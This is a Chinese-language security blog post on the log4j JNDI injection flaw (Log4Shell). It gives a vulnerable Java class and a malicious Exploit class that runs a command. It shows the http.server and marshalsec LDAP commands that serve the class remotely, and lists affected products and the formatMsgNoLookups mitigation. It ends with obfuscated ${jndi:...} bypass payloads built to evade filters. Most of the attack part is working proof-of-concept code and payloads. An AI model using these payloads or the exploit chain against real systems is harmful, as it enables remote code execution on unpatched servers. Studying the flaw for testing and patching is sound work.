01 分析
師傅帶着理了一遍,思路清晰了。
一句話總結就是:讓引用了log4j的漏洞類,然后把${jndi:ldap://hackserver/xxxxxx}
當作參數傳到log4j的log.error ,就會通過動態的遠程加載我們精心構造的一個惡意類,惡意類編寫想要執行的命令就可以達到命令執行的目的了。
黑盒測試無法識別到目標站點是否用了該框架,一般做法可能是在入參地方挨個提交payload,實戰靠運氣。
漏洞類
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.core.Logger;
public class Main {
private static final Logger logger = (Logger) LogManager.getLogger(Main.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/xxxx}");
}
}
一個惡意類
public class Exploit {
public Exploit() {
try{
// 彈計算器
String[] commands = {"calc.exe"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
在惡意類編譯后產生的class文件下啟動http服務
python3 -m http.server 8100
使用marshalsec起一個LDAP服務,使得服務端可以遠程加載我們的惡意類
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit"

效果圖
再貼個圖
02 影響應用
可能的受影響應用包括但不限於如下:
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
flume
dubbo
Redis
logstash
kafka
...
03 修復方案:
(1)修改jvm參數 -Dlog4j2.formatMsgNoLookups=true
(2)修改配置 在應用classpath下添加log4j2.component.properties配置文件,log4j2.formatMsgNoLookups=true
04 繞過
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
推個項目:https://github.com/GitlXl/fgzz burp插件實現了主動掃描